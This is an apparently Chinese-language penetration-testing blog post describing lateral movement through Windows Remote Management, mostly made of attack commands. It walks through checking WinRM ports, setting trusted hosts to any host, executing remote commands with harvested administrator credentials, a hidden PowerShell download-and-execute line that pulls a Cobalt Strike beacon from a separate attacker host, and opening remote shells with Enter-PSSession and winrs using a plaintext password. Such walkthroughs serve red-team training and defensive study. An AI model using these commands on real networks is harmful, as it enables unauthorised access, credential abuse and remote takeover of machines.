winRM橫向移動

在這裏插入圖片描述

0x01 winRM簡介

WinRM 是 Microsoft 對 WS-Management 協議的實現,WS-Management 協議即一種基於標準簡單對象訪問協議[SOAP]的 “防火牆友好” 協議,它讓來自不同供應商的硬件和操作系統能夠互相操作。winRM的默認端口爲5985(http)或5986(https)。
winRM橫向移動同時適用於工作組和域環境

0x02 利用條件

1、在win 2012之後(包括win 2012)的版本是默認開啓的,win 2012之前利用需要手動開啓winRM。
2、防火牆對5986、5985端口開放。

0x03 通過winRM橫向移動

一、查看本地和目標是否開放winRM服務

1、查看本地是否運行winRM服務。

netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

在這裏插入圖片描述

2、查看目標是否運行winRM服務。

nmap -sV 192.168.3.73 -p5985,5986

在這裏插入圖片描述
3、查看目標機器的winRM服務是否工作正常,如圖所示爲正常。

powershell -exec bypass
Test-WsMan 192.168.3.73

在這裏插入圖片描述

二、通過winRM在目標主機上執行任意命令

命令執行
1、在第一次執行命令的時候,可能會報下列錯誤。
在這裏插入圖片描述
這時我們執行下列兩條命令,將當前主機的trustedhosts設置爲*,表示信任任意主機,之後重啓winRM。

Set-Item WSMan:localhost\client\trustedhosts -value *
Restart-Service WinRM

在這裏插入圖片描述

2、設置完成後執行下列命令,輸入之前收集到的密碼。

Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator

在這裏插入圖片描述
命令執行成功。
在這裏插入圖片描述

3、直接執行cs payload,彈回一個cs beacon。

Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))" } -credential administrator

在這裏插入圖片描述
cs成功接收到會話。
在這裏插入圖片描述

反彈shell
1、通過Enter-PSSession直接彈回一個cmd shell。

Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator

在這裏插入圖片描述
反彈shell成功。
在這裏插入圖片描述

三、Windows內置工具winrs的使用

命令執行

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"

在這裏插入圖片描述

反彈shell

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章